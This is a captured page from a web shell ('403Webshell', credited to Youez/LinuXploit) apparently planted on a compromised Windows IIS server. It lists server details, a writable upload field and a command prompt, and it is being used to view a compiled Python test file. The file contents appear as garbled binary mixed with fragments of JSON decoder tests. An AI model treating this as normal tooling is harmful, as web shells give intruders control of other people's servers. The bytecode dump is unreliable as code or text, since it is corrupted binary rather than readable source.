403Webshell
Server IP : 121.121.20.254  /  Your IP : 216.73.216.189
Web Server : Microsoft-IIS/10.0
System : Windows NT WEB-SERVER 10.0 build 20348 (Windows Server 2022) AMD64
User : IUSR ( 0)
PHP Version : 8.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/Python312/Lib/test/test_json/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/Python312/Lib/test/test_json/__pycache__/test_decode.cpython-312.pyc
�

���g���ddlZddlmZddlmZddlmZmZddlm	Z	Gd�d�Z
Gd�d	e
e�ZGd
�de
e�Zy)�N)�StringIO)�OrderedDict)�PyTest�CTest)�supportc�r�eZdZd�Zd�Zd�Zd�Zd�Zd�Zd�Z	d�Z
d	�Zd
�Zd�Z
d�Zd
�Zd�Zd�Zd�Zd�Zy)�
TestDecodec���|jdtj��}|j|tj�|j	|tjd��y)Nz1.1)�parse_float)�loads�decimal�Decimal�assertIsInstance�assertEqual��self�rvals  �/C:\Python312\\Lib\test\test_json\test_decode.py�test_decimalzTestDecode.test_decimal	sE���z�z�%�W�_�_�z�=�����d�G�O�O�4�����w���u�5�6�c��|jdt��}|j|t�|j|d�y)N�1)�	parse_intg�?)r�floatrrrs  r�
test_floatzTestDecode.test_floats4���z�z�#��z�/�����d�E�*�����s�#rc��dD]7}|j|j�5|j|�ddd��9y#1swY�DxYw)N)u10u0.0u0e0��assertRaises�JSONDecodeErrorr)r�nums  r�test_nonascii_digits_rejectedz(TestDecode.test_nonascii_digits_rejecteds:��6�C��"�"�4�#7�#7�8��
�
�3��9�8�7�8�8��	�>�A	c�F�|j|jd�d�y)N�1��rr�rs r�
test_byteszTestDecode.test_bytess��������D�)�1�-rc�z�dD]6\}}|j|j|tj��|��8y)N))�Infinity�INFINITY)z	-Infinityz	-INFINITY)�NaN�NAN)�parse_constant)rr�str�upper)r�constant�expecteds   r�test_parse_constantzTestDecode.test_parse_constants9��#
��H�h�

����
�
�8�C�I�I�
�>��
�#
rc��dD]7}|j|j�5|j|�ddd��9y#1swY�DxYw)N)�nanr-�naN�infinityr+�inFiniTyr)rr1s  r�test_constant_invalid_casez%TestDecode.test_constant_invalid_case&sA��
�H��"�"�4�#7�#7�8��
�
�8�$�9�8�
�9�8�r"c���|j|jd�i�|j|jd�g�|j|jd�d�y)N�{}z[]z""�r&r's r�test_empty_objectszTestDecode.test_empty_objects-sM��������D�)�2�.�������D�)�2�.�������D�)�2�.rc���d}gd�}|j|j|�t|��|j|j|d���|�|j|jj	t|�d���|�|j|t��}|j|t
|��|jt|�t�|j|j|td���t
|��|j|jdt��t
��|j|jd	t��t
d
t
�fg��y)Nz?{"xkd":1, "kcw":2, "art":3, "hxm":4, "qrt":5, "pad":6, "hoy":7}))�xkdr%)�kcw�)�art�)�hxm�)�qrt�)�pad�)�hoy�c��|S�N���xs r�<lambda>z3TestDecode.test_object_pairs_hook.<locals>.<lambda>7s��1r)�object_pairs_hookc��|SrMrNrOs rrQz3TestDecode.test_object_pairs_hook.<locals>.<lambda>9s��Arc��yrMrNrOs rrQz3TestDecode.test_object_pairs_hook.<locals>.<lambda>?s��$r)rR�object_hookr;z
{"empty": {}}�empty)rr�eval�json�loadrr�type)r�s�p�ods    r�test_object_pairs_hookz!TestDecode.test_object_pairs_hook2s9��M��
1��������A���Q��0�������A���E�q�I������������:E�(�G�HI�	K�
�Z�Z��[�Z�
9������[��^�,�����b��;�/�������A��0>�$�@�$�Q��	)�	
������D�K��H�$��	(�������O�6A�$�C�$�w��
�&>�%?�@�	Brc�P�|jd�}|j|ddd��y)Nz,{   "key"    :    "value"    ,  "k":"v"    }�value�v)�key�k)rrrs  r�test_decoder_optimizationsz%TestDecode.test_decoder_optimizationsHs(���z�z�H�I������g�3�7�8rc��||�}t|d�t|d�c\}}\}}|j||�|j||�y)Nrr%)�sorted�assertIs)r�sourcerr�a�b�c�ds        r�check_keys_reusezTestDecode.check_keys_reuseOsJ���V�}����Q���&��a��/����A���A��
�
�a����
�
�a��rc��d}|j||j�|jjj	�}|j||j
�|j
|j�y)Nu2[{"a_key": 1, "b_é": 2}, {"a_key": 3, "b_é": 4}])rmrrX�decoder�JSONDecoder�decode�assertFalse�memo)rr[ros   r�test_keys_reusezTestDecode.test_keys_reuseUsY��D�����a����,��)�)�#�#�/�/�1�����a����0�������&rc�\�d}d}|j|j||j|�y)Nz
[1, 2, 3]5z
Extra data��assertRaisesRegexrr�rr[�msgs   r�test_extra_datazTestDecode.test_extra_data\s*���������t�3�3�S�$�*�*�a�Hrc�\�d}d}|j|j||j|�y)Nz	["abc\y"]�escapervrxs   r�test_invalid_escapezTestDecode.test_invalid_escapeas*���������t�3�3�S�$�*�*�a�Hrc�d�d}ddgidfD]$}|jt||j|��&y)Nzthe JSON object must be strr%g��Q�	@)rw�	TypeErrorr)rryr`s   r�test_invalid_input_typez"TestDecode.test_invalid_input_typefs4��+����r�2�t�,�E��"�"�9�c�4�:�:�u�E�-rc��djd�jd�}|j|j�5}|j	|�ddd�|jdt
j��|j|j�5}|jjt|��ddd�|jdt
|j��djd�jd�}d|�d�}|j|j	|�d�|j|jjt|��d�y#1swY��xYw#1swY��xYw)Nz[1,2,3]z	utf-8-sigzutf-8�BOMr<�"u)�encoderqrrr�assertInr/�	exceptionrXrYrr)r�bom_json�cm�bom�
bom_in_strs     r�test_string_with_utf8_bomz$TestDecode.test_string_with_utf8_bomks���#�#�K�0�7�7��@��
�
�
�t�3�3�
4���J�J�x� �5��
�
�e�S����.�/�
�
�
�t�3�3�
4���I�I�N�N�8�H�-�.�5��
�
�e�S����.�/��i�i��$�+�+�G�4�����Q�Z�
�������J�/��:�����������(<�=�x�H�5�
4��5�
4�s�E$�%E1�$E.�1E:c�|�|jj�}|jt|jdd�y)N�*aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaai�<��)rXrpr�
ValueError�
raw_decode)rrls  r�test_negative_indexzTestDecode.test_negative_indexzs,���I�I�!�!�#�����*�a�l�l�F�F�Crc��d}tj|�5|jd|z�|jt�5|jd|dzz�ddd�ddd�y#1swY�xYw#1swYyxYw)Ni�rr%)r�adjust_int_max_str_digitsrrr�)r�	maxdigitss  r�test_limit_intzTestDecode.test_limit_int~se���	�
�
.�
.�y�
9��J�J�s�Y��'��"�"�:�.��
�
�3�)�a�-�0�1�/�:�
9�.�.��:�
9�s#�*A7�A+�A7�+A4	�0A7�7BN)�__name__�
__module__�__qualname__rrr!r(r3r9r=r^rdrmrtrzr}r�r�r�r�rNrrr	r	s]��7�
$�
 �.��%�/�
B�,9��'�I�
I�
F�

I�D�2rr	c��eZdZy)�TestPyDecodeN�r�r�r�rNrrr�r����rr�c��eZdZy)�TestCDecodeNr�rNrrr�r��r�rr�)
r
�ior�collectionsr�test.test_jsonrr�testrr	r�r�rNrr�<module>r�s7����#�(��{2�{2�|-�:�v�,�*�*�e�*r

Youez - 2016 - github.com/yon3zu
LinuXploit